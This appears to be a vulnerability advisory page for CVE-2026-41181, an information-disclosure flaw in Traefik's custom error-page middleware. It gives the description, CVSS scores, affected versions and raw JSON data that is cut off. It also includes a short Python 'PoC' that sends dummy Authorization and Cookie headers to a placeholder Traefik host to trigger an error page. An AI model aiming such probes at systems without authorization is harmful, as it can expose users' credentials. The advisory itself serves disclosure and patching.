Security Vulnerability Report
中文
CVE-2026-41181 CVSS 5.8 MEDIUM

CVE-2026-41181

Published: 2026-05-15 17:16:46
Last Modified: 2026-05-19 12:24:20

Description

Traefik is an HTTP reverse proxy and load balancer. Prior to 2.11.44, 3.6.15, and 3.7.0-rc.3, there is an information disclosure vulnerability in Traefik's errors (custom error pages) middleware. When the backend returns a response matching the configured status range, the middleware forwards the original request's complete header set, including Authorization, Cookie, and other authentication material, to the separate error page service rather than only the minimal context needed to render the error page. This behavior is undocumented: the documentation states only that Host is forwarded by default, so operators are not warned that sensitive credentials are shared across service boundaries. Deployments using the errors middleware with a distinct error page service may inadvertently expose end-user credentials to infrastructure that was not intended to receive them. This vulnerability is fixed in 2.11.44, 3.6.15, and 3.7.0-rc.3.

CVSS Details

CVSS Score
5.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:traefik:traefik:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:traefik:traefik:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:traefik:traefik:3.7.0:ea1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:traefik:traefik:3.7.0:ea2:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:traefik:traefik:3.7.0:ea3:*:*:*:*:*:* - VULNERABLE
Traefik < 2.11.44
Traefik < 3.6.15
Traefik < 3.7.0-rc.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # Proof of Concept for CVE-2026-41181 # This script simulates checking if headers are leaked to the error service. import requests # Target configuration traefik_url = "http://target-traefik.com" error_service_log_url = "http://internal-error-service.com/logs" # Hypothetical log endpoint # Headers containing sensitive credentials headers = { "Authorization": "Bearer secret-token-123", "Cookie": "sessionid=supersecret", "User-Agent": "PoC-Scanner/1.0" } try: # 1. Send a request to Traefik that triggers an error (e.g., 404 or 500) # This request includes sensitive headers. print(f"[*] Sending request to {traefik_url}/non-existent-page to trigger error...") response = requests.get(f"{traefik_url}/non-existent-page", headers=headers) # 2. Check if the error was triggered if response.status_code >= 400: print("[+] Error triggered successfully.") # 3. In a real scenario, the attacker would inspect the error service logs or network traffic. # Here we simulate checking if the sensitive headers appeared in the error service context. print("[!] Check the Error Page Service logs/network traffic for the following headers:") print(f" - Authorization: {headers['Authorization']}") print(f" - Cookie: {headers['Cookie']}") print("[*] If these headers are present in the error service context, the vulnerability is confirmed.") else: print("[-] Failed to trigger error.") except Exception as e: print(f"Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41181", "sourceIdentifier": "[email protected]", "published": "2026-05-15T17:16:46.320", "lastModified": "2026-05-19T12:24:19.873", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Traefik is an HTTP reverse proxy and load balancer. Prior to 2.11.44, 3.6.15, and 3.7.0-rc.3, there is an information disclosure vulnerability in Traefik's errors (custom error pages) middleware. When the backend returns a response matching the configured status range, the middleware forwards the original request's complete header set, including Authorization, Cookie, and other authentication material, to the separate error page service rather than only the minimal context needed to render the error page. This behavior is undocumented: the documentation states only that Host is forwarded by default, so operators are not warned that sensitive credentials are shared across service boundaries. Deployments using the errors middleware with a distinct error page service may inadvertently expose end-user credentials to infrastructure that was not intended to receive them. This vulnerability is fixed in 2.11.44, 3.6.15, and 3.7.0-rc.3."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N", "baseScore": 5.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-201"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:traefik:traefik:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.11.44", "matchCriteriaId": "6653A7E1-C552-4A89-9953-82DB3D99098D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:traefik:traefik:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.0.0", "versionEndExcluding": "3.6.15", "matchCriteriaId": "AB8757F8-7365-42CC-98FF-D15E3943831C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:traefik:traefik:3.7.0:ea1:*:*:*:*:*:*", "matchCriteriaId": "7881B288-5141-4508-AB71-3F7586168437"}, {"vulnerable": true, "criteria": "cpe:2.3:a:traefik:traefik:3.7.0:ea2:*:*:*:*:*:*", "matchCriteriaId": "AE5788A2-CCF9-4E87-8B94-133874F99CAE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:traefik:traefik:3.7.0:ea3:*:*:*:*:*:*", "matchCriteriaId": "B133B8F6-1C34-4354-9C1C-A5E063D27BC6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:traefik:traefik:3.7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "976D40ED-187E-4C95-BB5A-126F06B8FAD9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:traefik:traefik:3.7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "61AC89E1-321F-495D-A246-3CC16413EE1B"}]}]}], "references": [{"url": "https://github.com/traefik/traefik/releases/tag/v2.11.44", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/traefik/traefik/releases/tag/v3.6.15", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.3", "source": "[email protected]", "tags": ["Pro ... (truncated)